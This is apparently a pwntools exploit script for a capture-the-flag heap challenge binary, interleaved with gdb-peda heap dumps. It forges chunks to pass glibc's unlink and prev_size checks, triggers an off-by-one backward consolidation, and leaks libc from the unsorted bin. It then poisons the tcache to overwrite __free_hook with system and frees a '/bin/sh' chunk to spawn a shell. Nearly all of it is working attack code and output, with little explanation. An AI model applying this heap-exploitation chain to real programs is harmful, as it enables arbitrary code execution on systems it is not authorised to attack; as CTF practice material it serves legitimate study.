1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253
|
from pwn import * context(log_level="debug", arch="amd64", os="linux") p=process('./pwn')
elf=ELF('./pwn') puts_got=elf.got['puts'] free_got=elf.got['free']
def add(size,content): p.recvuntil('>') p.sendline('1') p.recvuntil('length :') p.sendline(str(size)) p.recvuntil('Best wishes to them!') p.send(content)
def free(idx): p.recvuntil('>') p.sendline('2') p.recvuntil('debuff :') p.sendline(str(idx))
def show(idx): p.recvuntil('>') p.sendline('3') p.recvuntil('blessing :\n') p.sendline(str(idx))
for i in range(6): add(0x1000,'a') add(0x1000-0x440,'a') for i in range(7): add(0x28,'b') add(0xa20,'use') add(0x10,'avoid')
free(14) add(0x1000,'arrange') add(0x28,p64(0)+p64(0X521)+p8(0x40)) ''' 0x555555560010: 0x0000000000000000 0x0000000000000031 0x555555560020: 0x0000000000000000 0x0000000000000521 0x555555560030: 0x0000555555560040 0x0000555555560010 0x555555560040: 0x0000000000000000 0x0000000000000a01 0x555555560050: 0x00007ffff7fb0be0 0x00007ffff7fb0be0 ''' add(0x28,'victim1') add(0x28,'a') add(0x28,'victim2') add(0x28,'a') for i in range(7): free(7+i)
free(19) free(17) ''' gdb-peda$ bins tcachebins 0x30 [ 7]: 0x55555555fff0 —▸ 0x55555555ffc0 —▸ 0x55555555ff90 —▸ 0x55555555ff60 —▸ 0x55555555ff30 —▸ 0x55555555ff00 —▸ 0x55555555fed0 ◂— 0x0 fastbins 0x20: 0x0 0x30: 0x555555560040 —▸ 0x5555555600a0 ◂— 0x0 '''
for i in range(7): add(0x28,'c')
add(0x400, '\n') ''' unsortedbin all: 0x555555560540 —▸ 0x7ffff7fb0be0 (main_arena+96) ◂— 0x555555560540 smallbins 0x30: 0x5555555600a0 —▸ 0x555555560040 —▸ 0x7ffff7fb0c00 (main_arena+128) ◂— 0x5555555600a0 '''
''' gdb-peda$ x/30gx 0x555555560010 0x555555560010: 0x0000000000000000 0x0000000000000031 ------->chunk1 0x555555560020: 0x0000000000000000 0x0000000000000521 ------->fake_chunk(chunk1->fd to fake_chunk) 0x555555560030: 0x0000555555560040 0x0000555555560010 ------->fd=victim1,victim1->bk=fake_chunk,bk=chunk1,chunk1->fd=fake_chunk 0x555555560040: 0x0000000000000000 0x0000000000000031 ------->victim1 0x555555560050: 0x00007ffff7fb0c00 0x00005555555600a0 ------->bk to fake_chunk 0x555555560060: 0x0000000000000000 0x0000000000000000 0x555555560070: 0x0000000000000030 0x0000000000000030 0x555555560080: 0x00007ffff7fb0061 0x00007ffff7fb0be0 0x555555560090: 0x0000000000000000 0x0000000000000000 0x5555555600a0: 0x0000000000000000 0x0000000000000031 ------->victim2(in order to make 0x55......) 0x5555555600b0: 0x0000555555560040 0x00007ffff7fb0c00 0x5555555600c0: 0x0000000000000000 0x0000000000000000 ''' add(0x28,p64(0)+p8(0x20)) add(0x28,'clear tcache') for i in range(7): free(7+i) free(18) free(16) for i in range(7): add(0x28,'c') ''' gdb-peda$ x/20gx 0x555555560010 0x555555560010: 0x0000000000000000 0x0000000000000031 ------->chunk1 0x555555560020: 0x0000555555560070 0x0000000000000521 ------->fake_chunk(chunk1->fd to fake_chunk) 0x555555560030: 0x0000555555560040 0x0000555555560010 ------->fd=victim1,victim1->bk=fake_chunk,bk=chunk1,chunk1->fd=fake_chunk 0x555555560040: 0x0000000000000000 0x0000000000000031 ------->victim1 0x555555560050: 0x0000000000000000 0x0000555555560020 ------->bk to fake_chunk 0x555555560060: 0x0000000000000000 0x0000000000000000 gdb-peda$ bins tcachebins empty fastbins 0x20: 0x0 0x30: 0x555555560010 —▸ 0x555555560070 ◂— 0x0# 010 is last in, so first out 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x555555560510 —▸ 0x7ffff7fb0be0 (main_arena+96) ◂— 0x555555560510 '''
add(0x28,p8(0x20)) ''' arrange into tcache gdb-peda$ bins tcachebins 0x30 [ 1]: 0x555555560080 ◂— 0x0 gdb-peda$ x/20gx 0x555555560010 0x555555560010: 0x0000000000000000 0x0000000000000031 ------->chunk1 0x555555560020: 0x0000555555560020 0x0000000000000521 ------->fake_chunk(chunk1->fd to fake_chunk) 0x555555560030: 0x0000555555560040 0x0000555555560010 ------->fd=victim1,victim1->bk=fake_chunk,bk=chunk1,chunk1->fd=fake_chunk 0x555555560040: 0x0000000000000000 0x0000000000000031 ------->victim1 0x555555560050: 0x0000000000000000 0x0000555555560020 ------->bk to fake_chunk now we fake successful, satisfy if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) malloc_printerr (check_action, "corrupted double-linked list", P, AV); ''' add(0x28,'clear tcache') ''' gdb-peda$ x/20gx 0x555555560510 0x555555560510: 0x0000000000000000 0x0000000000000531 0x555555560520: 0x00007ffff7fb0be0 0x00007ffff7fb0be0 0x555555560530: 0x0000000000000000 0x0000000000000000 0x555555560540: 0x0000000000000000 0x0000000000000000 ''' add(0x28,'to off by one') add(0x4f8,'obo') free(22) add(0x28,p64(0)*4+p64(0x520)) ''' gdb-peda$ x/20gx 0x555555560540-0x520 0x555555560020: 0x0000555555560020 0x0000000000000521 0x555555560030: 0x0000555555560040 0x0000555555560010 0x555555560040: 0x0000000000000000 0x0000000000000031 0x555555560050: 0x0000000000000000 0x0000555555560020 gdb-peda$ x/20gx 0x555555560540 0x555555560540: 0x0000000000000520 0x0000000000000500 0x555555560550: 0x00007fff006f626f 0x00007ffff7fb0be0 here we satisfy if (__glibc_unlikely (chunksize(p) != prevsize)) malloc_printerr ("corrupted size vs. prev_size while consolidating"); ''' free(23) ''' unsortedbin all: 0x555555560020 —▸ 0x7ffff7fb0be0 (main_arena+96) ◂— 0x555555560020 /* ' ' */ gdb-peda$ x/20gx 0x555555560010 0x555555560010: 0x0000000000000000 0x0000000000000031 0x555555560020: 0x0000555555560040 0x0000000000000a21 0x555555560030: 0x00007ffff7fb0be0 0x00007ffff7fb0be0 0x555555560040: 0x0000000000000000 0x0000000000000000 ------->victim1 chunk19 0x555555560050: 0x0000000000000000 0x0000555555560010 0x555555560060: 0x0000000000000000 0x0000000000000000 0x555555560070: 0x0000000000000030 0x0000000000000031 ------->chunk18 0x555555560080: 0x6374207261656c63 0x0000000065686361 0x555555560090: 0x0000000000000000 0x0000000000000000 0x5555555600a0: 0x0000000000000000 0x0000000000000031 ''' add(0x18,'a') ''' gdb-peda$ x/20gx 0x555555560010 0x555555560010: 0x0000000000000000 0x0000000000000031 0x555555560020: 0x0000555555560040 0x0000000000000021 0x555555560030: 0x00007ffff7fb0061 0x00007ffff7fb1150 0x555555560040: 0x0000555555560020 0x0000000000000a01 ------->victim1 chunk19 0x555555560050: 0x00007ffff7fb0be0 0x00007ffff7fb0be0 0x555555560060: 0x0000000000000000 0x0000000000000000 0x555555560070: 0x0000000000000030 0x0000000000000031 ------->chunk18 0x555555560080: 0x6374207261656c63 0x0000000065686361 0x555555560090: 0x0000000000000000 0x0000000000000000 0x5555555600a0: 0x0000000000000000 0x0000000000000031 gdb-peda$ x/40gx 0x5555555580e0-0x80 chunklist 0x555555558060: 0x00005555555592a0 0x000055555555a2b0 0x555555558070: 0x000055555555b2c0 0x000055555555c2d0 0x555555558080: 0x000055555555d2e0 0x000055555555e2f0 0x555555558090: 0x000055555555f300 0x000055555555fed0 0x5555555580a0: 0x000055555555ff00 0x000055555555ff30 0x5555555580b0: 0x000055555555ff60 0x000055555555ff90 0x5555555580c0: 0x000055555555ffc0 0x000055555555fff0 0x5555555580d0: 0x0000555555560a70 0x0000555555560a50 0x5555555580e0: 0x0000555555560020 0x0000555555560110 0x5555555580f0: 0x0000555555560080 0x0000555555560050 ---------->18,19 0x555555558100: 0x00005555555600e0 0x00005555555600b0 0x555555558110: 0x0000555555560520 0x0000555555560030 '''
show(19) libc=u64(p.recvuntil('\x7f').ljust(8,'\x00'))-0x70-0x01eab70 free_hook=libc+0x1edb20 system=libc+0x554e0 print(hex(libc)) payload=p64(0)*5+p64(0x31) add(0x38,payload) free(7) free(18) ''' gdb-peda$ bins tcachebins 0x30 [ 2]: 0x555555560080 —▸ 0x55555555fed0 ◂— 0x0 ''' free(24) ''' gdb-peda$ bins tcachebins 0x30 [ 2]: 0x555555560080 —▸ 0x55555555fed0 ◂— 0x0 0x40 [ 1]: 0x555555560050 ◂— 0x0 ''' payload='/bin/sh\x00'+p64(0)*4+p64(0x31)+p64(free_hook) add(0x38,payload) ''' tcachebins 0x30 [ 2]: 0x555555560080 —▸ 0x7ffff7fb3b20 (__free_hook) ◂— 0x0 ''' add(0x28,'/bin/sh\x00') add(0x28,p64(system)) ''' gdb-peda$ p __free_hook $1 = (void (*)(void *, const void *)) 0x7ffff7e1b4e0 <__libc_system> ''' free(18) p.interactive()
|